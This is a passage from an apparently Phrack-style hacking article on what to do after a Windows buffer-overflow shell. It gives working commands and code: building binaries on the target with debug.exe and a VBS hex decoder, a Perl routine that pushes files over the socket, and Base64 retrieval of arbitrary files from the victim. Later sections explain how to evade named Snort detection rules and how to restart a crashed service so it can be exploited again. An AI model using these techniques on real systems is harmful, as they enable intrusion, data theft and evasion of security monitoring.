shellcode. It is possible to reconstruct a binary file by using the
debug.exe command available in almost every Windows.
--[ 5.a Uploading file with debug.exe
We can create text file in our target system using the echo command.
But we can't use echo to create binary file, not with the help from
debug.exe. It is possible to reconstructing binary using debug.exe.
Consider the following commands:
C:\>echo nbell.com>b.s
C:\>echo a>>b.s
C:\>echo dw07B8 CD0E C310>>b.s
C:\>echo.>>b.s
C:\>echo R CX>>b.s
C:\>echo 6 >>b.s
C:\>echo W>>b.s
C:\>echo Q>>b.s
C:\>debug<b.s
The echo command will construct a debug script which contains
necessary instructions code in hex value to create a simple binary
file. The last command will feed the script into debug.exe, which
will eventually generate our binary file.
However, we cannot construct a binary file larger than 64k. This is
the limitation of the debug.exe itself.
--[ 6.b Uploading file with VBS
Thus, a better idea to upload a binary file is to use Visual Basic
Script. VBS interpreter (cscript.exe) available by default in almost
all Windows platform. This is our strategy:
1. Create a VBS script that will read hex code from a file and
rewrite it as binary.
2. Upload the script to target using "echo" command.
3. Read file to be uploaded, and "echo" the hex code to a file in
the target server.
4. Run the VBS script to translate hex code to binary.
A sample script like below can be use to read any binary file and
create the correspondence ASC printable hex code file.
dread: while (1){
$nread2 = sysread(INFO, $disbuf, 100);
last dread if $nread2 == 0;
@bytes = unpack "C*", $disbuf;
foreach $dab (@bytes){
$txt .= sprintf "%02x", $dab;
}
$to .= "echo $txt >>outhex.txt\n";
$nnn++;
if ($nnn > 100) {
print SOCKET $to;
receive();
print ".";
$to="";
$nnn=0;
}
$txt = "";
}
Then, we create our VBS decoder in the target machine - "tobin.vbs".
We can easily use "echo" command to create this file in the target
machine. This decoder will read the outhex.txt created above and
construct the binary file.
Set arr = WScript.Arguments
Set wsf = CreateObject("Scripting.FileSystemObject")
Set infile = wsf.opentextfile(arr(arr.Count-2), 1, TRUE)
Set file = wsf.opentextfile(arr(arr.Count-1), 2, TRUE)
do while infile.AtEndOfStream = false
line = infile.ReadLine
For x = 1 To Len(line)-2 Step 2
thebyte = Chr(38) & "H" & Mid(line, x, 2)
file.write Chr(thebyte)
Next
loop
file.close
infile.close
Once the decoder is in the target machine, we just need to execute it
to convert the Hex code into a binary file:
# cscript tobin.vbs outhex.txt out.exe
--[ 5.c Retrieving file from command line
Once we have the ability to upload file to the machine, we can upload
a Base64 encoder to the target machine. We will use this encoder to
encode any file into a printable Base64 format. We can easily print
the output of the Base64 encoded in command line and capture the text.
Once we have the complete file in Base64, we will save that into a
file in our machine. Using WinZip or any Base64 decoder, we can
convert that file back into its binary form. The following command
allows us to retrieve any file in our target machine:
print SOCKET "base64 -e $file outhex2.txt\n";
receive();
print SOCKET "type outhex2.txt\n";
open(RECV, ">$file.b64");
print RECV receive();
Fortunately, all these file upload/downloading can be automated.
Refer to hellobug.pl in the Code section to see file transfer in
action.
--[ 6 Avoiding IDS detection
Snort rules now have several Attack-Response signatures that will be
able to detect common output from a Windows CMD shell. Every time we
start CMD, it will display a banner:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\sk
There is a Snort rule that capture this banner:
http://www.snort.org/snort-db/sid.html?sid=2123
We can easily avoid this by spawning cmd.exe with the parameter of
"/k" in our shellcode. All we need to do is just to add 3 more bytes
in our shellcode from "cmd" to "cmd /k". You may also need to add 3
to the value in the decoder that count the number of byte that we
need to decode.
There is also another Snort rules that capture a directory listing of
the "dir" command in a Windows shell:
http://www.snort.org/snort-db/sid.html?sid=1292
The rule compares "Volume Serial Number" in any established network
packet, if there is a match, the rule will trigger an alert.
# dir
Volume in drive C is Cool
Volume Serial Number is SKSK-6622
Directory of C:\Documents and Settings\sk
06/18/2004 06:22 PM <DIR> .
06/18/2004 06:22 PM <DIR> ..
12/01/2003 01:08 AM 58 ReadMe.txt
To avoid this, we just need to include /b in our dir command. It is
best if we set this in an environment so that dir will always use
this argument:
# set DIRCMD=/b
# dir
ReadMe.txt
Snort also has signature that detect "Command completed" in:
http://www.snort.org/snort-db/sid.html?sid=494
This command usually generated by the "net" command. It is easy to
create a wrapper for the net command that will not display "Command
completed" status or use other tools like "nbtdump", etc.
--[ 7 Restarting vulnerable service
Most often, after a buffer overflow, the vulnerable service will be
unstable. Even if we can barely keep it alive, chances are we will
not be able to attack the service again. Although we can try to fix
these problem in our shellcode, but the easiest way is to restart the
vulnerable service via our shell. This usually can be done using "at"
command to schedule a command that will restart the vulnerable
service after we exit from our shell.
For example, if our vulnerable service is IIS web server, we can
reset it using a scheduler:
#at <time> iisreset
In the case of MS SQL Server, we just need to start the
sqlserveragent service. This is a helper service installed by default
when you install MS SQL Server. It will constantly monitor and check
if the SQL Server process is running. If it is not, it will be
started. Executing the following command in our shell will start this
service, which in turn, help us to MS SQL Server once we exit.
#net start sqlserveragent
Another example is on the Workstation service bug discovered by Eeye.
In this case, we don't have a helper service. But we can kill the
relevant service, and restart it.
1. Kill the Workstation service
#taskkill /fi "SERVICES eq lanmanworkstation" /f
2. restart required services
#net start workstation
#net start "computer browser"
#net start "Themes" <== optional
#net start "messenger" <== optional
...
If we exit our shellcode now, we can attack the machine via the
Workstation exploit again.
--[ 8 End of shellcode?
Shellcode is simple to use and probably easiest to illustrate the
severity of a vulnerability in proof of concept code. However there
are a few more advance payload strategies released to the public by
LSD's Windows ASM component, Core Security's Syscall Proxy, Dave
Aitel's MOSDEF, etc. These payloads offer much more than a shell. The
References section provides a few good pointers to get more
information. We hope you enjoy reading our article as much as other
quality article from Phrack.
--[ 9 Greetz!
There are many good fellows we would like to thank for their
continuous source of information to feed our hunger for knowledge.
Without these guys, the security field will be boring.
My mentor, my friend: sam, pokleyzz, wanvadder, wyse, socket370 and
the rest of =da scan clan=, Ey4s, San and all that support XFocus
team! RD and the rest of THC! The Grugq! Saumil! Sheeraj! Nitesh!
Caddis from Team-Teso! CK and the rest of SIG^2 team! Sensepost!
BrightVaio! L33tdawg and the rest of HackInTheBox team!
Greets to the gurus: HD Moore! Halvar! HSJ! Michal, Adam and the rest
of LSD! (David) Mnemonic! Dave Aitel! EEYE! Brett Moore! And many
others Blackhat speakers for their excellence research!
--[ 10 References
* Code to this article:
http://www.scan-associates.net/papers/one-way.zip
* Shellcode and exploit:
HSJ - http://hsj.shadowpenguin.org/misc/
* More shellcode!
HD Moore - http://www.metasploit.com
* Advance payload:
CORE Security
* Syscall Proxying (http://www.blackhat.com/html/bh-usa-
02/bh-usa-02-speakers.html#Maximiliano Caceres)
* Inlineegg
(http://oss.coresecurity.com/projects/inlineegg.html)
* LSD (http://www.hivercon.com/hc02/talk-lsd.htm)
* Eeye (http://www.blackhat.com/html/win-usa-03/win-usa-03-
speakers.html#Riley Hassel)
* Dave Aitel (http://www.immunitysec.com/MOSDEF/)
* Alexander E. Cuttergo (Impurity)
--[ 11 The code
Please see http://www.scan-associates.net/papers/one-way.zip
|=[ EOF ]=---------------------------------------------------------------=|